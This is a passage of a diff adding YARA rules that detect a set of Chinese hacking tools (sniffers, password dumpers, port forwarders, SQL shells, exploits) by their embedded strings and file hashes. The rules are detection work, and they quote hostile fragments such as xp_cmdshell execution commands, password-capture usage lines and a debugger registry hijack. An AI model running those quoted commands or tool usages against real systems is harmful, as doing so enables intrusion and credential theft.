+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "390af28581db224af38a885b7ffad819c9b3be89"
+	strings:
+		$s1 = "Login attempt had result %d" fullword ascii
+		$s2 = "Username string exceeds %d bytes, rejecting" fullword ascii
+		$s3 = "checking domain: '%s', user: '%s'" fullword ascii
+		$s4 = "Usage: %s [-d] [-v] [-A|D LocalUserGroup] [-h]" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule Dos_GetPass {
+	meta:
+		description = "Chinese Hacktool Set - file GetPass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+	strings:
+		$s0 = "GetLogonS" ascii
+		$s3 = "/showthread.php?t=156643" ascii
+		$s8 = "To Run As Administ" ascii
+		$s18 = "EnableDebugPrivileg" fullword ascii
+		$s19 = "sedebugnameValue" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 890KB and all of them
+}
+
+rule update_PcMain {
+	meta:
+		description = "Chinese Hacktool Set - file PcMain.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
+		$s3 = "\\svchost.exe -k " fullword ascii
+		$s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
+		$s9 = "Global\\%s-key-event" fullword ascii
+		$s10 = "%d%d.exe" fullword ascii
+		$s14 = "%d.exe" fullword ascii
+		$s15 = "Global\\%s-key-metux" fullword ascii
+		$s18 = "GET / HTTP/1.1" fullword ascii
+		$s19 = "\\Services\\" fullword ascii
+		$s20 = "qy001id=%d;qy001guid=%s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule Dos_sys {
+	meta:
+		description = "Chinese Hacktool Set - file sys.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
+	strings:
+		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
+		$s6 = "Author: Cyg07*2" fullword ascii
+		$s12 = "from golds7n[LAG]'J" fullword ascii
+		$s14 = "DAMAGE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule dat_xpf {
+	meta:
+		description = "Chinese Hacktool Set - file xpf.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
+	strings:
+		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
+		$s2 = "\\Device\\XScanPF" fullword wide
+		$s3 = "\\DosDevices\\XScanPF" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule Project1 {
+	meta:
+		description = "Chinese Hacktool Set - file Project1.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+	strings:
+		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
+		$s2 = "Password.txt" fullword ascii
+		$s3 = "LoginPrompt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule Arp_EMP_v1_0 {
+	meta:
+		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Tools_MyUPnP {
+	meta:
+		description = "Chinese Hacktool Set - file MyUPnP.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
+	strings:
+		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
+		$s2 = "myupnp.exe" fullword ascii
+		$s3 = "LOADER ERROR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and all of them
+}
+
+rule logfile_daemon {
+	meta:
+		description = "Chinese Hacktool Set - file logfile-daemon.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "132a8f628109cda7eb58c91f1c5e5e626cbfd14a"
+	strings:
+		$s0 = "Error: usage: %s <logfile>" fullword ascii
+		$s1 = "vBWSSSj" fullword ascii /* Goodware String - occured 24 times */
+		$s2 = "t-Ht!Ht" fullword ascii /* Goodware String - occured 25 times */
+		$s3 = "QSUVW3" fullword ascii /* Goodware String - occured 162 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and all of them
+}
+
+rule CN_Tools_Shiell {
+	meta:
+		description = "Chinese Hacktool Set - file Shiell.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
+	strings:
+		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
+		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
+		$s3 = "Shift shell.exe" fullword wide
+		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and 2 of them
+}
+
+rule cndcom_cndcom {
+	meta:
+		description = "Chinese Hacktool Set - file cndcom.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "08bbe6312342b28b43201125bd8c518531de8082"
+	strings:
+		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
+		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
+		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
+		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
+		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
+		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
+		$s7 = "\\C$\\123456111111111111111.doc" fullword wide
+		$s8 = "shell3all.c" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule IsDebug_V1_4 {
+	meta:
+		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
+	strings:
+		$s0 = "IsDebug.dll" fullword ascii
+		$s1 = "SV Dumper V1.0" fullword wide
+		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
+		$s8 = "Error WriteMemory failed" fullword ascii
+		$s9 = "IsDebugPresent" fullword ascii
+		$s10 = "idb_Autoload" fullword ascii
+		$s11 = "Bin Files" fullword ascii
+		$s12 = "MASM32 version" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule HTTPSCANNER {
+	meta:
+		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
+	strings:
+		$s1 = "HttpScanner.exe" fullword wide
+		$s2 = "HttpScanner" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3500KB and all of them
+}
+
+rule HScan_v1_20_PipeCmd {
+	meta:
+		description = "Chinese Hacktool Set - file PipeCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "64403ce63b28b544646a30da3be2f395788542d6"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
+		$s2 = "PipeCmd.exe" fullword wide
+		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
+		$s9 = "PIPECMDSRV" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 4 of them
+}
+
+rule Dos_fp {
+	meta:
+		description = "Chinese Hacktool Set - file fp.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+	strings:
+		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
+		$s2 = "FPipe.exe" fullword wide
+		$s3 = "http://www.foundstone.com" fullword ascii
+		$s4 = "%s %s port %d. Address is already in use" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 65KB and all of them
+}
+
+rule Dos_netstat {
+	meta:
+		description = "Chinese Hacktool Set - file netstat.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
+	strings:
+		$s0 = "w03a2409.dll" fullword ascii
+		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide  /* Goodware String - occured 2 times */
+		$s2 = "Administrative Status  = %1!u!" fullword wide  /* Goodware String - occured 2 times */
+		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide  /* Goodware String - occured 2 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule CN_Tools_xsniff {
+	meta:
+		description = "Chinese Hacktool Set - file xsniff.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+	strings:
+		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule mswin_check_ad_group {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_check_ad_group.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "15fa3d91c5e4836f27b9809d4efedc5a947fb221"
+	strings:
+		$s1 = "Domain Global group mode enabled using '%s' as default domain." fullword ascii
+		$s2 = "Warning: running in case insensitive mode !!!" fullword ascii
+		$s3 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+		$s4 = "Windows group: %S, Squid group: %S" fullword ascii
+		$s5 = "%s[%d]: " fullword ascii
+		$s6 = "DC Active Directory Site is %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and 4 of them
+}
+
+rule MSSqlPass {
+	meta:
+		description = "Chinese Hacktool Set - file MSSqlPass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
+	strings:
+		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
+		$s1 = "empv.exe" fullword wide
+		$s2 = "Enterprise Manager PassView" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule WSockExpert {
+	meta:
+		description = "Chinese Hacktool Set - file WSockExpert.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
+	strings:
+		$s1 = "OpenProcessCmdExecute!" fullword ascii
+		$s2 = "http://www.hackp.com" fullword ascii
+		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
+		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
+		$s5 = "PasswordChar@" fullword ascii
+		$s6 = "WSockHook.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule Ms_Viru_racle {
+	meta:
+		description = "Chinese Hacktool Set - file racle.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
+	strings:
+		$s0 = "PsInitialSystemProcess @%p" fullword ascii
+		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
+		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
+		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 210KB and all of them
+}
+
+rule lamescan3 {
+	meta:
+		description = "Chinese Hacktool Set - file lamescan3.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
+	strings:
+		$s1 = "dic\\loginlist.txt" fullword ascii
+		$s2 = "Radmin.exe" fullword ascii
+		$s3 = "lamescan3.pdf!" fullword ascii
+		$s4 = "dic\\passlist.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3740KB and all of them
+}
+
+rule CN_Tools_pc {
+	meta:
+		description = "Chinese Hacktool Set - file pc.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5cf8caba170ec461c44394f4058669d225a94285"
+	strings:
+		$s0 = "\\svchost.exe" fullword ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Qy001Service" fullword ascii
+		$s4 = "/.MIKY" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Dos_Down64 {
+	meta:
+		description = "Chinese Hacktool Set - file Down64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
+	strings:
+		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s3 = "C:\\Windows\\Temp\\" fullword wide
+		$s4 = "ProcessXElement" fullword ascii
+		$s8 = "down.exe" fullword wide
+		$s20 = "set_Timer1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule epathobj_exp32 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
+	strings:
+		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s1 = "Exploit ok run command" fullword ascii
+		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" fullword ascii
+		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s4 = "Mutex object did not timeout, list not patched" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 270KB and all of them
+}
+
+rule Tools_unknown {
+	meta:
+		description = "Chinese Hacktool Set - file unknown.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
+	strings:
+		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
+		$s5 = "Host: 127.0.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule PLUGIN_AJunk {
+	meta:
+		description = "Chinese Hacktool Set - file AJunk.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
+	strings:
+		$s1 = "AJunk.dll" fullword ascii
+		$s2 = "AJunk.DLL" fullword wide
+		$s3 = "AJunk Dynamic Link Library" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 560KB and all of them
+}
+
+rule IISPutScanner {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScanner.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
+	strings:
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "ADVAPI32.DLL" fullword ascii
+		$s4 = "VERSION.DLL" fullword ascii
+		$s5 = "WSOCK32.DLL" fullword ascii
+		$s6 = "COMCTL32.DLL" fullword ascii
+		$s7 = "GDI32.DLL" fullword ascii
+		$s8 = "SHELL32.DLL" fullword ascii
+		$s9 = "USER32.DLL" fullword ascii
+		$s10 = "OLEAUT32.DLL" fullword ascii
+		$s11 = "LoadLibraryA" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "VirtualProtect" fullword ascii
+		$s14 = "VirtualAlloc" fullword ascii
+		$s15 = "VirtualFree" fullword ascii
+		$s16 = "ExitProcess" fullword ascii
+		$s17 = "RegCloseKey" fullword ascii
+		$s18 = "GetFileVersionInfoA" fullword ascii
+		$s19 = "ImageList_Add" fullword ascii
+		$s20 = "BitBlt" fullword ascii
+		$s21 = "ShellExecuteA" fullword ascii
+		$s22 = "ActivateKeyboardLayout" fullword ascii
+		$s23 = "BBABORT" fullword wide
+		$s25 = "BBCANCEL" fullword wide
+		$s26 = "BBCLOSE" fullword wide
+		$s27 = "BBHELP" fullword wide
+		$s28 = "BBIGNORE" fullword wide
+		$s29 = "PREVIEWGLYPH" fullword wide
+		$s30 = "DLGTEMPLATE" fullword wide
+		$s31 = "TABOUTBOX" fullword wide
+		$s32 = "TFORM1" fullword wide
+		$s33 = "MAINICON" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and filesize > 350KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
+	strings:
+		$s0 = "\\Device\\devIdtTool" fullword wide
+		$s1 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s6 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+		$s7 = "IoCreateDevice" fullword ascii /* Goodware String - occured 988 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7KB and all of them
+}
+
+rule hkmjjiis6 {
+	meta:
+		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "user32.dlly" ascii
+		$s3 = "runtime error" ascii
+		$s4 = "WinSta0\\Defau" ascii
+		$s5 = "AppIDFlags" fullword ascii
+		$s6 = "GetLag" fullword ascii
+		$s7 = "* FROM IIsWebInfo" ascii
+		$s8 = "wmiprvse.exe" ascii
+		$s9 = "LookupAcc" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule Dos_lcx {
+	meta:
+		description = "Chinese Hacktool Set - file lcx.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
+	strings:
+		$s0 = "c:\\Users\\careful_snow\\" ascii
+		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s7 = "[-] There is a error...Create a new connection." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule x_way2_5_X_way {
+	meta:
+		description = "Chinese Hacktool Set - file X-way.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
+	strings:
+		$s0 = "TTFTPSERVERFRM" fullword wide
+		$s1 = "TPORTSCANSETFRM" fullword wide
+		$s2 = "TIISSHELLFRM" fullword wide
+		$s3 = "TADVSCANSETFRM" fullword wide
+		$s4 = "ntwdblib.dll" fullword ascii
+		$s5 = "TSNIFFERFRM" fullword wide
+		$s6 = "TCRACKSETFRM" fullword wide
+		$s7 = "TCRACKFRM" fullword wide
+		$s8 = "dbnextrow" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule tools_Sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file Sqlcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "99d56476e539750c599f76391d717c51c4955a33"
+	strings:
+		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
+		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
+		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
+		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
+		$s10 = "Error,exit!" fullword ascii
+		$s11 = "Sqlcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 3 of them
+}
+
+rule Sword1_5 {
+	meta:
+		description = "Chinese Hacktool Set - file Sword1.5.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+	strings:
+		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
+		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s6 = "ListBox_Command" fullword wide
+		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
+		$s18 = "\\Set.ini" fullword wide
+		$s19 = "OpenFileDialog1" fullword wide
+		$s20 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 4 of them
+}
+
+rule Tools_scan {
+	meta:
+		description = "Chinese Hacktool Set - file scan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
+	strings:
+		$s2 = "Shanlu Studio" fullword wide
+		$s3 = "_AutoAttackMain" fullword ascii
+		$s4 = "_frmIpToAddr" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Dos_c {
+	meta:
+		description = "Chinese Hacktool Set - file c.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
+	strings:
+		$s0 = "!Win32 .EXE." fullword ascii
+		$s1 = ".MPRESS1" fullword ascii
+		$s2 = ".MPRESS2" fullword ascii
+		$s3 = "XOLEHLP.dll" fullword ascii
+		$s4 = "</body></html>" fullword ascii
+		$s8 = "DtcGetTransactionManagerExA" fullword ascii  /* Goodware String - occured 12 times */
+		$s9 = "GetUserNameA" fullword ascii  /* Goodware String - occured 305 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule arpsniffer {
+	meta:
+		description = "Chinese Hacktool Set - file arpsniffer.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
+	strings:
+		$s1 = "SHELL" ascii
+		$s2 = "PacketSendPacket" fullword ascii
+		$s3 = "ArpSniff" ascii
+		$s4 = "pcap_loop" fullword ascii  /* Goodware String - occured 3 times */
+		$s5 = "packet.dll" fullword ascii  /* Goodware String - occured 4 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule pw_inspector_2 {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
+	strings:
+		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
+		$s3 = "PW-Inspector" fullword ascii
+		$s4 = "i:o:m:M:c:lunps" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule datPcShare {
+	meta:
+		description = "Chinese Hacktool Set - file datPcShare.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
+	strings:
+		$s1 = "PcShare.EXE" fullword wide
+		$s2 = "MZKERNEL32.DLL" fullword ascii
+		$s3 = "PcShare" fullword wide
+		$s4 = "QQ:4564405" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule Tools_xport {
+	meta:
+		description = "Chinese Hacktool Set - file xport.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
+	strings:
+		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
+		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
+		$s3 = "%s - command line port scanner" fullword ascii
+		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
+		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
+		$s6 = ".\\port.ini" fullword ascii
+		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
+		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s9 = "http://www.xfocus.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule fakeauth_auth {
+	meta:
+		description = "Chinese Hacktool Set - file fakeauth_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4d6311159e10ffbb904059ccfda70fde2fee1f7e"
+	strings:
+		$s0 = "sending 'NA invalid credentials, user=%s' to squid" fullword ascii
+		$s11 = "BH wrong packet type! user=%s" fullword ascii
+		$s16 = "fakeauth_auth[%ld]: " fullword ascii
+		$s20 = "sending 'TT %s' to squid" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and all of them
+}
+
+rule Pc_xai {
+	meta:
+		description = "Chinese Hacktool Set - file xai.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
+	strings:
+		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
+		$s2 = "%SystemRoot%\\System32\\" fullword ascii
+		$s3 = "%APPDATA%\\" fullword ascii
+		$s4 = "---- C.Rufus Security Team ----" fullword wide
+		$s5 = "www.snzzkz.com" fullword wide
+		$s6 = "%CommonProgramFiles%\\" fullword ascii
+		$s7 = "GetRand.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Radmin_Hash {
+	meta:
